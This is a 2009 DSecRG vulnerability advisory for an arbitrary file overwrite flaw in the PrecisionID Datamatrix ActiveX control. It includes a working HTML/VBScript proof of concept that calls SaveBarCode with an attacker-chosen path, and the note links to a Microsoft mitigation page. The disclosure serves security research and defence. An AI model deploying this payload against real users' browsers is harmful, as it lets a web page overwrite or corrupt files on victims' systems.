PrecisionID Datamatrix ActiveX Arbitrary File Overwrite Vuln

2009-03-31 21:03:18

Digital Security Research Group [DSecRG] Advisory #DSECRG-09-030
!!! original advisory !!!
http://dsecrg.com/pages/vul/DSECRG-09-030.html


Application: PrecisionID activeX controls
Versions Affected:
Vendor URL: http://PrecisionID.com
Bugs: Arbitrary File overwriting
Exploits: YES
Reported: 03.03.2009
Vendor response: NONE
Secondly Reported: 17.03.2009
Vendor response: NONE
Date of Public Advisory: 31.0300.2009
Authors:
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
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PrecisionID have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file in target system.



Details
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This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite
any file on OS


Sub SaveBarCode (
ByVal path As String
)


Sub SaveEnhWMF (
ByVal path As String
)






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Example:



<html>
<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid = "DMATRIXLib.Datamatrix"
argCount = 1

arg1="C:\sh2kerr.pwn"

target.SaveBarCode arg1

</script>
</html>



Solution
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http://msdn.microsoft.com/en-us/library/aa751977.aspx


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